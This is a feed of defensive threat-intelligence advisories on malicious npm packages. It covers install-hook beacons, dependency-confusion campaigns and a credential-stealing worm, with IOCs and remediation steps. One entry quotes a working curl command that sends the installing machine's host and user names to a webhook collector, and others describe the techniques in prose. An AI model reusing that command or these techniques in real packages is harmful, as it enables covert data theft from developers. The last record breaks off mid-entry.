{"classification": "tp", "details": "Installing @blueskydataplatform/shared-ui 1.0.1 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18212"], "package": "@blueskydataplatform/shared-ui", "public_id": "PROTET-NPM-2026-31", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@blueskydataplatform/shared-ui/1.0.1", "version": "1.0.1"}
{"classification": "tp", "details": "Installing @blueskydataplatform/shared-ui 1.0.0 runs the postinstall script `node beacon.cjs`. It sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's host name, the install directory, the current working directory and the Node.js version. Loading the package runs the same report again from index.js. The package then exports a stub that returns empty no-op functions for every member, in place of any real functionality. The package name copies a private organisation scope, and the version numbers are inflated (up to 99.0.x) so that a resolver which also queries the public registry prefers this copy. The same beacon and endpoint appear in @cecm-web-sdk/core. Impact: any developer or CI machine that installs or imports the package discloses its host name and internal directory layout to a third party, and the build gets a non-functional stub instead of the intended internal library. Remediation: remove the package, pin the scope to the private registry (for example a scoped registry entry in .npmrc), and review build hosts that installed it for unexpected connections to 185.158.107.175.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18212"], "package": "@blueskydataplatform/shared-ui", "public_id": "PROTET-NPM-2026-30", "published_at": "2026-10-23T04:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Install hook and require-time code send the host name and install paths to a hardcoded IP over HTTP", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@blueskydataplatform/shared-ui/1.0.0", "version": "1.0.0"}
{"classification": "tp", "details": "The package runs `node beacon.cjs` from its postinstall script, and its index.js runs the same beacon when the module is loaded. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the host name, the installation directory, the current working directory and the Node.js version. It does nothing else. The package has no legitimate function: the name and high version numbers match a dependency-confusion attack that reports where an internal package name gets installed.\n\nImpact: whoever runs the receiving server learns which hosts and build systems install the package, and where.\n\nRemediation: remove the package from all projects and lockfiles, pin internal package names to your private registry scope, and review the hosts that installed it.", "ecosystem": "npm", "iocs": {"ips": ["185.158.107.175"], "urls": ["http://185.158.107.175:8787/_ah/dc"]}, "osv_aliases": ["MAL-2026-18213"], "package": "@cecm-web-sdk/core", "public_id": "PROTET-NPM-2026-28", "published_at": "2026-10-22T10:49:06Z", "schema_version": "1.0", "status": "active", "summary": "Malicious code in @cecm-web-sdk/core (npm)", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@cecm-web-sdk/core/99.0.1", "version": "99.0.1"}
{"classification": "tp", "details": "The package runs `node beacon.cjs` from its postinstall script, and its index.js runs the same beacon when the module is loaded. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the host name, the installation directory, the current working directory and the Node.js version. It does nothing else. The package has no legitimate function: the name and high version numbers match a dependency-confusion attack that reports where an internal package name gets installed.\n\nImpact: whoever runs the receiving server learns which hosts and build systems install the package, and where.\n\nRemediation: remove the package from all projects and lockfiles, pin internal package names to your private registry scope, and review the hosts that installed it.", "ecosystem": "npm", "iocs": {"ips": ["185.158.107.175"], "urls": ["http://185.158.107.175:8787/_ah/dc"]}, "osv_aliases": ["MAL-2026-18213"], "package": "@cecm-web-sdk/core", "public_id": "PROTET-NPM-2026-27", "published_at": "2026-10-22T10:49:06Z", "schema_version": "1.0", "status": "active", "summary": "Malicious code in @cecm-web-sdk/core (npm)", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@cecm-web-sdk/core/3.0.0", "version": "3.0.0"}
{"classification": "tp", "details": "The package runs `node beacon.cjs` from its postinstall script, and its index.js runs the same beacon when the module is loaded. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the host name, the installation directory, the current working directory and the Node.js version. It does nothing else. The package has no legitimate function: the name and high version numbers match a dependency-confusion attack that reports where an internal package name gets installed.\n\nImpact: whoever runs the receiving server learns which hosts and build systems install the package, and where.\n\nRemediation: remove the package from all projects and lockfiles, pin internal package names to your private registry scope, and review the hosts that installed it.", "ecosystem": "npm", "iocs": {"ips": ["185.158.107.175"], "urls": ["http://185.158.107.175:8787/_ah/dc"]}, "osv_aliases": ["MAL-2026-18213"], "package": "@cecm-web-sdk/core", "public_id": "PROTET-NPM-2026-26", "published_at": "2026-10-22T10:49:06Z", "schema_version": "1.0", "status": "active", "summary": "Malicious code in @cecm-web-sdk/core (npm)", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@cecm-web-sdk/core/1.1.0", "version": "1.1.0"}
{"classification": "tp", "details": "The package runs `node beacon.cjs` from its postinstall script, and its index.js runs the same beacon when the module is loaded. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the host name, the installation directory, the current working directory and the Node.js version. It does nothing else. The package has no legitimate function: the name and high version numbers match a dependency-confusion attack that reports where an internal package name gets installed.\n\nImpact: whoever runs the receiving server learns which hosts and build systems install the package, and where.\n\nRemediation: remove the package from all projects and lockfiles, pin internal package names to your private registry scope, and review the hosts that installed it.", "ecosystem": "npm", "iocs": {"ips": ["185.158.107.175"], "urls": ["http://185.158.107.175:8787/_ah/dc"]}, "osv_aliases": ["MAL-2026-18213"], "package": "@cecm-web-sdk/core", "public_id": "PROTET-NPM-2026-25", "published_at": "2026-10-22T10:49:06Z", "schema_version": "1.0", "status": "active", "summary": "Malicious code in @cecm-web-sdk/core (npm)", "updated_at": "2026-10-23T04:59:02Z", "url": "https://protet.io/intel/npm/@cecm-web-sdk/core/1.0.1", "version": "1.0.1"}
{"classification": "tp", "details": "Installing retry-utils-testmetest 1.0.3 runs node-gyp on the package's binding.gyp, whose action executes node index.js. The script downloads Bun 1.2.18 (bun-linux-x64-baseline.zip) from the oven-sh/bun GitHub releases into a temporary directory and uses it to run an obfuscated JavaScript payload. The payload reads the host name, runs gh auth token to obtain the GitHub CLI token, checks for ssh and scp, and sets up persistence: it copies sync.py to ~/.local/share/runtimes/sync.py and registers the systemd user service pkg-runtime.service. The same payload ships in event-bus-lite-testmetest 0.0.6 from the same publisher. Impact: theft of GitHub credentials and persistence on developer and CI machines. Remediation: remove the package, revoke and rotate GitHub tokens reachable from the machine, stop and delete ~/.config/systemd/user/pkg-runtime.service and delete ~/.local/share/runtimes/sync.py.", "ecosystem": "npm", "osv_aliases": [], "package": "retry-utils-testmetest", "public_id": "PROTET-NPM-2026-29", "published_at": "2026-10-22T19:49:01Z", "schema_version": "1.0", "status": "active", "summary": "Install hook downloads Bun, runs a payload that reads the GitHub CLI token and installs a systemd user service", "updated_at": "2026-10-22T19:49:01Z", "url": "https://protet.io/intel/npm/retry-utils-testmetest/1.0.3", "version": "1.0.3"}
{"classification": "tp", "details": "The package runs a `curl` command from its postinstall script. The command sends an HTTP POST to https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof with the user name, host name, Node.js version, the output of `uname -a`, the current working directory and the package name. The text of the request calls itself a remote-code-execution proof from security research. Whatever the intent, the package executes code at install time on the machine and sends information about it to a third-party collector, without the user's knowledge.\n\nImpact: the owner of the webhook learns which hosts and users install the package, together with details of their environment.\n\nRemediation: remove the package from all projects and lockfiles and review the hosts that installed it.", "ecosystem": "npm", "iocs": {"domains": ["webhook.site"], "urls": ["https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof"]}, "osv_aliases": ["MAL-2026-18108"], "package": "rootaccessxvv-bbmarker", "public_id": "PROTET-NPM-2026-9", "published_at": "2026-10-22T10:49:06Z", "schema_version": "1.0", "status": "active", "summary": "Malicious code in rootaccessxvv-bbmarker (npm)", "updated_at": "2026-10-22T15:33:16Z", "url": "https://protet.io/intel/npm/rootaccessxvv-bbmarker/1.0.2", "version": "1.0.2"}
{"classification": "tp", "details": "The package runs `node index.js` from its postinstall script. The script sends an HTTPS POST request to https://nathanaccacio.com/collect with a JSON body holding the package name, the operating-system user name and the host name of the machine that installed it. It does nothing else.\n\nImpact: the operator of nathanaccacio.com learns which users and hosts install the package.\n\nRemediation: remove the package from all projects and lockfiles and review the hosts that installed it.", "ecosystem": "npm", "iocs": {"domains": ["nathanaccacio.com"], "urls": ["https://nathanaccacio.com/collect"]}, "osv_aliases": [], "package": "regex-linter", "public_id": "PROTET-NPM-2026-8", "published_at": "2026-10-22T10:49:06Z", "schema_version": "1.0", "status": "active", "summary": "Malicious code in regex-linter (npm)", "updated_at": "2026-10-22T15:33:16Z", "url": "https://protet.io/intel/npm/regex-linter/12.0.0", "version": "12.0.0"}
{"classification": "tp", "details": "The package runs `curl -s https://webhook.site/b2967b0a-1b24-4670-8ae1-e09e3cf272c4/?pkg=memories-core-web&host=$(hostname)&user=$(whoami)` from its preinstall script. The request sends the package name, the host name and the user name of the installing machine to a public webhook collector. The package has no legitimate function.\n\nImpact: whoever owns the webhook learns which hosts and users install the package.\n\nRemediation: remove the package from all projects and lockfiles and review the hosts that installed it.", "ecosystem": "npm", "iocs": {"domains": ["webhook.site"], "urls": ["https://webhook.site/b2967b0a-1b24-4670-8ae1-e09e3cf272c4/"]}, "osv_aliases": ["MAL-2026-18106"], "package": "memories-core-web", "public_id": "PROTET-NPM-2026-7", "published_at": "2026-10-22T10:49:06Z", "schema_version": "1.0", "status": "active", "summary": "Malicious code in memories-core-web (npm)", "updated_at": "2026-10-22T15:33:16Z", "url": "https://protet.io/intel/npm/memories-core-web/99.0.0", "version": "99.0.0"}
{"classification": "tp", "details": "The package runs `node index.js` from its postinstall script. The script sends an HTTPS POST request to https://nathanaccacio.com/collect with a JSON body holding the package name, the operating-system user name and the host name of the machine that installed it. It does nothing else.\n\nImpact: the operator of nathanaccacio.com learns which users and hosts install the package.\n\nRemediation: remove the package from all projects and lockfiles and review the hosts that installed it.", "ecosystem": "npm", "iocs": {"domains": ["nathanaccacio.com"], "urls": ["https://nathanaccacio.com/collect"]}, "osv_aliases": [], "package": "cs-core-api-phoenix", "public_id": "PROTET-NPM-2026-6", "published_at": "2026-10-22T10:49:06Z", "schema_version": "1.0", "status": "active", "summary": "Malicious code in cs-core-api-phoenix (npm)", "updated_at": "2026-10-22T15:33:16Z", "url": "https://protet.io/intel/npm/cs-core-api-phoenix/5.1.0", "version": "5.1.0"}
{"classification": "tp", "details": "The package runs `node index.js` from its preinstall script. The script sends an HTTPS GET request to https://realwbx.com/ip.php with a hard-coded Authorization header unique to this package and a fake Node.js User-Agent, which tells the receiving server that the package was installed. The package has no legitimate function: the same maintainer published several packages with internal-looking names and very high version numbers, which matches a dependency-confusion canary campaign.\n\nImpact: the operator of realwbx.com learns that the package was installed and from which network address.\n\nRemediation: remove the package from all projects and lockfiles, pin internal package names to your private registry scope, and review the hosts that installed it.", "ecosystem": "npm", "iocs": {"domains": ["realwbx.com"], "urls": ["https://realwbx.com/ip.php"]}, "osv_aliases": ["MAL-2026-17893"], "package": "buyerdashboard", "public_id": "PROTET-NPM-2026-5", "published_at": "2026-10-22T10:49:06Z", "schema_version": "1.0", "status": "active", "summary": "Malicious code in buyerdashboard (npm)", "updated_at": "2026-10-22T15:33:16Z", "url": "https://protet.io/intel/npm/buyerdashboard/45.3.4", "version": "45.3.4"}
{"classification": "tp", "details": "The package runs `node index.js` from its preinstall script. The script sends an HTTPS GET request to https://realwbx.com/ip.php with a hard-coded Authorization header unique to this package and a fake Node.js User-Agent, which tells the receiving server that the package was installed. The package has no legitimate function: the same maintainer published several packages with internal-looking names and very high version numbers, which matches a dependency-confusion canary campaign.\n\nImpact: the operator of realwbx.com learns that the package was installed and from which network address.\n\nRemediation: remove the package from all projects and lockfiles, pin internal package names to your private registry scope, and review the hosts that installed it.", "ecosystem": "npm", "iocs": {"domains": ["realwbx.com"], "urls": ["https://realwbx.com/ip.php"]}, "osv_aliases": ["MAL-2026-17896"], "package": "xapi-lib", "public_id": "PROTET-NPM-2026-4", "published_at": "2026-10-22T10:49:06Z", "schema_version": "1.0", "status": "active", "summary": "Malicious code in xapi-lib (npm)", "updated_at": "2026-10-22T15:33:16Z", "url": "https://protet.io/intel/npm/xapi-lib/90.3.1", "version": "90.3.1"}
{"classification": "tp", "details": "The package runs `node index.js` from its preinstall script. The script sends an HTTPS GET request to https://realwbx.com/ip.php with a hard-coded Authorization header unique to this package and a fake Node.js User-Agent, which tells the receiving server that the package was installed. The package has no legitimate function: the same maintainer published several packages with internal-looking names and very high version numbers, which matches a dependency-confusion canary campaign.\n\nImpact: the operator of realwbx.com learns that the package was installed and from which network address.\n\nRemediation: remove the package from all projects and lockfiles, pin internal package names to your private registry scope, and review the hosts that installed it.", "ecosystem": "npm", "iocs": {"domains": ["realwbx.com"], "urls": ["https://realwbx.com/ip.php"]}, "osv_aliases": ["MAL-2026-17896"], "package": "xapi-lib", "public_id": "PROTET-NPM-2026-3", "published_at": "2026-10-22T10:49:06Z", "schema_version": "1.0", "status": "active", "summary": "Malicious code in xapi-lib (npm)", "updated_at": "2026-10-22T15:33:16Z", "url": "https://protet.io/intel/npm/xapi-lib/90.2.1", "version": "90.2.1"}
{"classification": "tp", "details": "The package ships a hidden `binding.gyp`, so that installing it makes node-gyp run an obfuscated `index.js`. That loader decrypts the archive's `data.bin` with AES-GCM and pipes the result into the Bun JavaScript runtime, which it downloads if needed. The decrypted program is a credential-stealing, self-propagating worm: it looks for cloud credentials, GitHub Actions tokens (GITHUB_TOKEN and the OIDC identity token) and `.npmrc` files, reads the victim's GitHub repositories and workflows, and uses npm, PyPI and RubyGems publishing credentials to spread. The package poses as an npm staged-publishing stub. Later versions obfuscate the decrypted program further, but it keeps the same worm behavior.\n\nImpact: installing the package on a developer machine or CI job puts every credential reachable there at risk, and can lead to malicious releases published from the victim's accounts.\n\nRemediation: remove the package, treat any machine or CI job that installed it as compromised, rotate all credentials, tokens and publishing keys it could reach, review recent releases and workflow changes in repositories it could access, and run installs with scripts disabled (`npm ci --ignore-scripts`) where possible.", "ecosystem": "npm", "iocs": {}, "osv_aliases": ["MAL-2026-18180"], "package": "pixel-map-testmetest", "public_id": "PROTET-NPM-2026-24", "published_at": "2026-10-22T10:49:06Z", "schema_version": "1.0", "status": "active", "summary": "Malicious code in pixel-map-testmetest (npm)", "updated_at": "2026-10-22T15:33:16Z", "url": "https://protet.io/intel/npm/pixel-map-testmetest/0.0.3", "version": "0.0.3"}
{"classification": "tp", "details": "The package ships a hidden `binding.gyp`, so that installing it makes node-gyp run an obfuscated `index.js`. That loader decrypts the archive's `data.bin` with AES-128-GCM and brotli and pipes the result into the Bun JavaScript runtime, which it downloads if needed. The decrypted program is a credential-stealing, self-propagating worm: it looks for cloud credentials, GitHub Actions tokens (GITHUB_TOKEN and the OIDC identity token) and `.npmrc` files, reads the victim's GitHub repositories and workflows, and uses npm, PyPI and RubyGems publishing credentials to spread. The loader is obfuscated with ROT and character-code encoding; the decrypted program is the same in several packages of this publisher.\n\nImpact: installing the package on a developer machine or CI job puts every credential reachable there at risk, and can lead to malicious releases published from the victim's accounts.\n\nRemediation: remove the package, treat any machine or CI job that installed it as compromised, rotate all credentials, tokens and publishing keys it could reach, review recent releases and workflow changes in repositories it could access, and run installs with scripts disabled (`npm ci --ignore-scripts`) where possible.", "ecosystem": "npm", "iocs": {}, "osv_aliases": ["MAL-2026-18186"], "package": "net-codec-testmetest", "public_id": "PROTET-NPM-2026-23", "published_at": "2026-10-22T10:49:06Z", "schema_version": "1.0", "status": "active", "summary": "Malicious code in net-codec-testmetest (npm)", "updated_at": "2026-10-22T15:33:16Z", "url": "https://protet.io/intel/npm/net-codec-testmetest/1.0.1", "version": "1.0.1"}
{"classification": "tp", "details": "The package ships a hidden `binding.gyp`, so that installing it makes node-gyp run an obfuscated `index.js`. That loader decrypts the archive's `data.bin` with AES-128-GCM and brotli and pipes the result into the Bun JavaScript runtime, which it downloads if needed. The decrypted program is a credential-stealing, self-propagating worm: it looks for cloud credentials, GitHub Actions tokens (GITHUB_TOKEN and the OIDC identity token) and `.npmrc` files, reads the victim's GitHub repositories and workflows, and uses npm, PyPI and RubyGems publishing credentials to spread. The loader is obfuscated with ROT and character-code encoding; the decrypted program is the same in several packages of this publisher.\n\nImpact: installing the package on a developer machine or CI job puts every credential reachable there at risk, and can lead to malicious releases published from the victim's accounts.\n\nRemediation: remove the package, treat any machine or CI job that installed it as compromised, rotate all credentials, tokens and publishing keys it could reach, review recent releases and workflow changes in repositories it could access, and run installs with scripts disabled (`npm ci --ignore-scripts`) where possible.", "ecosystem": "npm", "iocs": {}, "osv_aliases": ["MAL-2026-18185"], "package": "log-rotate-testmetest", "public_id": "PROTET-NPM-2026-22", "published_at": "2026-10-22T10:49:06Z", "schema_version": "1.0", "status": "active", "summary": "Malicious code in log-rotate-testmetest (npm)", "updated_at": "2026-10-22T15:33:16Z", "url": "https://protet.io/intel/npm/log-rotate-testmetest/1.0.1", "version": "1.0.1"}
{"classification": "tp", "details": "The package ships a hidden `binding.gyp`, so that installing it makes node-gyp run an obfuscated `index.js`. That loader decrypts the archive's `data.bin` with AES-GCM and pipes the result into the Bun JavaScript runtime, which it downloads if needed. The decrypted program is a credential-stealing, self-propagating worm: it looks for cloud credentials, GitHub Actions tokens (GITHUB_TOKEN and the OIDC identity token) and `.npmrc` files, reads the victim's GitHub repositories and workflows, and uses npm, PyPI and RubyGems publishing credentials to spread. The package poses as an npm staged-publishing stub. Later versions obfuscate the decrypted program further, but it keeps the same worm behavior.\n\nImpact: installing the package on a developer machine or CI job puts every credential reachable there at risk, and can lead to malicious releases published from the victim's accounts.\n\nRemediation: remove the package, treat any machine or CI job that installed it as compromised, rotate all credentials, tokens and publishing keys it could reach, review recent releases and workflow changes in repositories it could access, and run installs with scripts disabled (`npm ci --ignore-scripts`) where possible.", "ecosystem": "npm", "iocs": {}, "osv_aliases": ["MAL-2026-18180"], "package": "pixel-map-testmetest", "public_id": "PROTET-NPM-2026-21", "published_at": "2026-10-22T10:49:06Z", "schema_version": "1.0", "status": "active", "summary": "Malicious code in pixel-map-testmetest (npm)", "updated_at": "2026-10-22T15:33:16Z", "url": "https://protet.io/intel/npm/pixel-map-testmetest/0.0.2", "version": "0.0.2"}
{"classification": "tp", "details": "The package ships a hidden `binding.gyp`, so that installing it makes node-gyp run an obfuscated `index.js`. That loader decrypts the archive's `data.bin` with AES-GCM and pipes the result into the Bun JavaScript runtime, which it downloads if needed. The decrypted program is a credential-stealing, self-propagating worm: it looks for cloud credentials, GitHub Actions tokens (GITHUB_TOKEN and the OIDC identity token) and `.npmrc` files, reads the victim's GitHub repositories and workflows, and uses npm, PyPI and RubyGems publishing credentials to spread. The package poses as an npm staged-publishing stub. Later versions obfuscate the decrypted program further, but it keeps the same worm behavior.\n\nImpact: installing the package on a developer machine or CI job puts every credential reachable there at risk, and can lead to malicious releases published from the victim's accounts.\n\nRemediation: remove the package, treat any machine or CI job that installed it as compromised, rotate all credentials, tokens and publishing keys it could reach, review recent releases and workflow changes in repositories it could access, and run installs with scripts disabled (`npm ci --ignore-scripts`) where possible.", "ecosystem": "npm", "iocs": {}, "osv_aliases": ["MAL-2026-18180"], "package": "pixel-map-testmetest", "public_id": "PROTET-NPM-2026-20", "published_at": "2026-10-22T10:49:06Z", "schema_version": "1.0", "status": "active", "summary": "Malicious code in pixel-map-testmetest (npm)", "updated_at": "2026-10-22T15:33:16Z", "url": "https://protet.io/intel/npm/pixel-map-testmetest/0.0.1", "version": "0.0.1"}
{"classification": "tp", "details": "The package runs `node index.js` from its preinstall script. The script sends an HTTPS GET request to https://realwbx.com/ip.php with a hard-coded Authorization header unique to this package and a fake Node.js User-Agent, which tells the receiving server that the package was installed. The package has no legitimate function: the same maintainer published several packages with internal-looking names and very high version numbers, which matches a dependency-confusion canary campaign.\n\nImpact: the operator of realwbx.com learns that the package was installed and from which network address.\n\nRemediation: remove the package from all projects and lockfiles, pin internal package names to your private registry scope, and review the hosts that installed it.", "ecosystem": "npm", "iocs": {"domains": ["realwbx.com"], "urls": ["https://realwbx.com/ip.php"]}, "osv_aliases": ["MAL-2026-17895"], "package": "web-pixels-manager", "public_id": "PROTET-NPM-2026-2", "published_at": "2026-10-22T10:49:06Z", "schema_version": "1.0", "status": "active", "summary": "Malicious code in web-pixels-manager (npm)", "updated_at": "2026-10-22T15:33:16Z", "url": "https://protet.io/intel/npm/web-pixels-manager/76.2.4", "version": "76.2.4"}
{"classification": "tp", "details": "The package ships a hidden `binding.gyp` and an `install` script that runs `node-gyp rebuild`, so that installing it makes node-gyp run an obfuscated `index.js`. That loader decrypts an embedded payload with AES-GCM and gzip or brotli and pipes the result into the Bun JavaScript runtime, which it downloads if needed. The decrypted program is a credential-stealing, self-propagating worm: it looks for cloud credentials, GitHub Actions tokens (GITHUB_TOKEN and the OIDC identity token) and `.npmrc` files, reads the victim's GitHub repositories and workflows, and uses npm, PyPI and RubyGems publishing credentials to spread. \n\nImpact: installing the package on a developer machine or CI job puts every credential reachable there at risk, and can lead to malicious releases published from the victim's accounts.\n\nRemediation: remove the package, treat any machine or CI job that installed it as compromised, rotate all credentials, tokens and publishing keys it could reach, review recent releases and workflow changes in repositories it could access, and run installs with scripts disabled (`npm ci --ignore-scripts`) where possible.", "ecosystem": "npm", "iocs": {}, "osv_aliases": ["MAL-2026-18182"], "package": "test-brotli2-testmetest", "public_id": "PROTET-NPM-2026-19", "published_at": "2026-10-22T10:49:06Z", "schema_version": "1.0", "status": "active", "summary": "Malicious code in test-brotli2-testmetest (npm)", "updated_at": "2026-10-22T15:33:16Z", "url": "https://protet.io/intel/npm/test-brotli2-testmetest/1.0.0", "version": "1.0.0"}
{"classification": "tp", "details": "The package ships a hidden `binding.gyp` and an `install` script that runs `node-gyp rebuild`, so that installing it makes node-gyp run an obfuscated `index.js`. That loader decrypts an embedded payload with AES-GCM and gzip or brotli and pipes the result into the Bun JavaScript runtime, which it downloads if needed. The decrypted program is a credential-stealing, self-propagating worm: it looks for cloud credentials, GitHub Actions tokens (GITHUB_TOKEN and the OIDC identity token) and `.npmrc` files, reads the victim's GitHub repositories and workflows, and uses npm, PyPI and RubyGems publishing credentials to spread. \n\nImpact: installing the package on a developer machine or CI job puts every credential reachable there at risk, and can lead to malicious releases published from the victim's accounts.\n\nRemediation: remove the package, treat any machine or CI job that installed it as compromised, rotate all credentials, tokens and publishing keys it could reach, review recent releases and workflow changes in repositories it could access, and run installs with scripts disabled (`npm ci --ignore-scripts`) where possible.", "ecosystem": "npm", "iocs": {}, "osv_aliases": ["MAL-2026-18181"], "package": "test-brotli-testmetest", "public_id": "PROTET-NPM-2026-18", "published_at": "2026-10-22T10:49:06Z", "schema_version": "1.0", "status": "active", "summary": "Malicious code in test-brotli-testmetest (npm)", "updated_at": "2026-10-22T15:33:16Z", "url": "https://protet.io/intel/npm/test-brotli-testmetest/1.0.0", "version": "1.0.0"}
{"classification": "tp", "details": "The package ships a hidden `binding.gyp` (and an install script that runs `node-gyp rebuild` in some versions), so that installing it makes node-gyp run an obfuscated `index.js`. That loader decrypts an embedded payload with AES-GCM and pipes the result into the Bun JavaScript runtime, which it downloads if needed. The decrypted program is a credential-stealing, self-propagating worm: it looks for cloud credentials, GitHub Actions tokens (GITHUB_TOKEN and the OIDC identity token) and `.npmrc` files, reads the victim's GitHub repositories and workflows, and uses npm, PyPI and RubyGems publishing credentials to spread. The loader uses character-code and Caesar-shift obfuscation.\n\nImpact: installing the package on a developer machine or CI job puts every credential reachable there at risk, and can lead to malicious releases published from the victim's accounts.\n\nRemediation: remove the package, treat any machine or CI job that installed it as compromised, rotate all credentials, tokens and publishing keys it could reach, review recent releases and workflow changes in repositories it could access, and run installs with scripts disabled (`npm ci --ignore-scripts`) where possible.", "ecosystem": "npm", "iocs": {}, "osv_aliases": ["MAL-2026-18178"], "package": "event-emitter-testmetest", "public_id": "PROTET-NPM-2026-17", "published_at": "2026-10-22T10:49:06Z", "schema_version": "1.0", "status": "active", "summary": "Malicious code in event-emitter-testmetest (npm)", "updated_at": "2026-10-22T15:33:16Z", "url": "https://protet.io/intel/npm/event-emitter-testmetest/5.0.0", "version": "5.0.0"}
{"classification": "tp", "details": "The package ships a hidden `binding.gyp`, so that installing it makes node-gyp run an obfuscated `index.js`. That loader decrypts the archive's `data.bin` with AES-GCM and gzip and pipes the result into the Bun JavaScript runtime, which it downloads if needed. The decrypted program is a credential-stealing, self-propagating worm: it looks for cloud credentials, GitHub Actions tokens (GITHUB_TOKEN and the OIDC identity token) and `.npmrc` files, reads the victim's GitHub repositories and workflows, and uses npm, PyPI and RubyGems publishing credentials to spread. \n\nImpact: installing the package on a developer machine or CI job puts every credential reachable there at risk, and can lead to malicious releases published from the victim's accounts.\n\nRemediation: remove the package, treat any machine or CI job that installed it as compromised, rotate all credentials, tokens and publishing keys it could reach, review recent releases and workflow changes in repositories it could access, and run installs with scripts disabled (`npm ci --ignore-scripts`) where possible.", "ecosystem": "npm", "iocs": {}, "osv_aliases": ["MAL-2026-18179"], "package": "log-sink-testmetest", "public_id": "PROTET-NPM-2026-16", "published_at": "2026-10-22T10:49:06Z", "schema_version": "1.0", "status": "active", "summary": "Malicious code in log-sink-testmetest (npm)", "updated_at": "2026-10-22T15:33:16Z", "url": "https://protet.io/intel/npm/log-sink-testmetest/1.0.1", "version": "1.0.1"}
{"classification": "tp", "details": "The package runs a one-line Node.js command from its postinstall script. The command sends an HTTP GET request to a host name made of the machine's host name followed by a fixed random label under oast.fun, a public out-of-band interaction service, so the machine's host name reaches the operator through the DNS and HTTP lookup. It does nothing else. The package has no legitimate function: it belongs to a dependency-confusion beacon campaign.\n\nImpact: the operator learns which machines install the package and their host names.\n\nRemediation: remove the package from all projects and lockfiles and review the hosts that installed it.", "ecosystem": "npm", "iocs": {"domains": ["oast.fun"]}, "osv_aliases": ["MAL-2026-18187"], "package": "simplewave", "public_id": "PROTET-NPM-2026-15", "published_at": "2026-10-22T10:49:06Z", "schema_version": "1.0", "status": "active", "summary": "Malicious code in simplewave (npm)", "updated_at": "2026-10-22T15:33:16Z", "url": "https://protet.io/intel/npm/simplewave/0.0.2", "version": "0.0.2"}
{"classification": "tp", "details": "The package runs a one-line Node.js command from its postinstall script. The command sends an HTTP GET request to a host name made of the machine's host name followed by a fixed random label under oast.fun, a public out-of-band interaction service, so the machine's host name reaches the operator through the DNS and HTTP lookup. It does nothing else. The package has no legitimate function: it belongs to a dependency-confusion beacon campaign.\n\nImpact: the operator learns which machines install the package and their host names.\n\nRemediation: remove the package from all projects and lockfiles and review the hosts that installed it.", "ecosystem": "npm", "iocs": {"domains": ["oast.fun"]}, "osv_aliases": [], "package": "quickgreet", "public_id": "PROTET-NPM-2026-14", "published_at": "2026-10-22T10:49:06Z", "schema_version": "1.0", "status": "active", "summary": "Malicious code in quickgreet (npm)", "updated_at": "2026-10-22T15:33:16Z", "url": "https://protet.io/intel/npm/quickgreet/0.0.2", "version": "0.0.2"}
{"classification": "tp", "details": "The package runs `node index.js` from its postinstall script. The script writes a file named `.worm_proof` into the operating system's temporary directory, containing the package name and version, the time, the user name and the host name, and prints a message that a worm payload ran. A comment in the code calls it a demo of a self-extracting worm stub. It comes from the same publisher as the worm packages `data-pipeline-testmetest` and `event-emitter-testmetest`, and tests the delivery chain of that worm.\n\nImpact: code of an unknown third party runs at install time, and the package is a staging step for a credential-stealing, self-propagating worm.\n\nRemediation: remove the package from all projects and lockfiles, delete `.worm_proof` from temporary directories, and review the hosts that installed it.", "ecosystem": "npm", "iocs": {"paths": [".worm_proof"]}, "osv_aliases": [], "package": "npm-publish-testmetest", "public_id": "PROTET-NPM-2026-13", "published_at": "2026-10-22T10:49:06Z", "schema_version": "1.0", "status": "active", "summary": "Malicious code in npm-publish-testmetest (npm)", "updated_at": "2026-10-22T15:33:16Z", "url": "https://protet.io/intel/npm/npm-publish-testmetest/1.0.1", "version": "1.0.1"}
{"classification": "tp", "details": "The package ships a hidden `binding.gyp` (and an install script that runs `node-gyp rebuild` in some versions), so that installing it makes node-gyp run an obfuscated `index.js`. That loader decrypts an embedded payload with AES-GCM and pipes the result into the Bun JavaScript runtime, which it downloads if needed. The decrypted program is a credential-stealing, self-propagating worm: it looks for cloud credentials, GitHub Actions tokens (GITHUB_TOKEN and the OIDC identity token) and `.npmrc` files, reads the victim's GitHub repositories and workflows, and uses npm, PyPI and RubyGems publishing credentials to spread. The loader uses character-code and Caesar-shift obfuscation.\n\nImpact: installing the package on a developer machine or CI job puts every credential reachable there at risk, and can lead to malicious releases published from the victim's accounts.\n\nRemediation: remove the package, treat any machine or CI job that installed it as compromised, rotate all credentials, tokens and publishing keys it could reach, review recent releases and workflow changes in repositories it could access, and run installs with scripts disabled (`npm ci --ignore-scripts`) where possible.", "ecosystem": "npm", "iocs": {}, "osv_aliases": ["MAL-2026-18178"], "package": "event-emitter-testmetest", "public_id": "PROTET-NPM-2026-12", "published_at": "2026-10-22T10:49:06Z", "schema_version": "1.0", "status": "active", "summary": "Malicious code in event-emitter-testmetest (npm)", "updated_at": "2026-10-22T15:33:16Z", "url": 